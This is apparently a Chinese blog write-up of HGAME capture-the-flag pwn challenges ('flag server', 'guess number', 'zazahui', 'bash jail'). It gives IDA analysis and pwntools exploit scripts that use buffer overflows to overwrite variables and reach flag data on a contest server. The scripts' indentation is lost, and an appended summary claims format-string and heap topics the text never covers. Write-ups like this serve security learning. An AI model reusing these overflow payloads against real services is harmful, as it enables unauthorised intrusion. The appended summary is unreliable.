这个算是做之前的复现吧,感谢Veritas501
WEEK1
1.flag server

拖进IDA看一下

流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖

这些变量都在一起,美滋滋
exp
from pwn import *
cn=remote('111.230.149.72',30001)
cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()
2.guess number
scanf直接溢出就好了,如下

a1和nptr的偏移量 0x10C+0x8
exp
from pwn import *
cn=remote('111.230.149.72',30002)
cn.sendline("xiaoyuyu")
payload='0'*(0x10C+0x8)+p64(0)
cn.send(payload)
cn.interactive()
3.zazahui
这次有两个文件,古天乐和正常的


拖进IDA

里面两个函数,第一个是个file open之类的,读取flag和ad的值,第二个函数如下

感觉没啥溢出的地方,跟进函数sub_8048634

基本可以猜测出就是个read函数,范围是188,我们可以看到s1的范围从0xC0到0x10,只有176,那么这个函数就溢出了,把读取的地址改到flag的地址,同时有一点要注意,要把v3变成100,不然flag读不出来
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./zazahui')
bin = ELF('./zazahui')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30003)
bin = ELF('./zazahui')
libc = ELF('./libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
WEEK2
4.bash jail

可还行,拖进IDA看一下

我第一反应是把Lineptr改成/bin/sh
分析一下里面的函数,400706里面的意思是如果开头输入的是(a,b,c,f,h,g,i,l,n,s,t,*)会输出hacker!! go away~~ QAQ
那我们输入数字试一下,情况如下

本文详细介绍了HGAME 2017或2018年PWN类挑战的解决过程,包括各种缓冲区溢出、格式字符串漏洞、堆溢出等技术的利用,涉及ida分析、exp编写等内容,适合逆向工程和安全研究爱好者学习。


754

被折叠的 条评论
为什么被折叠?



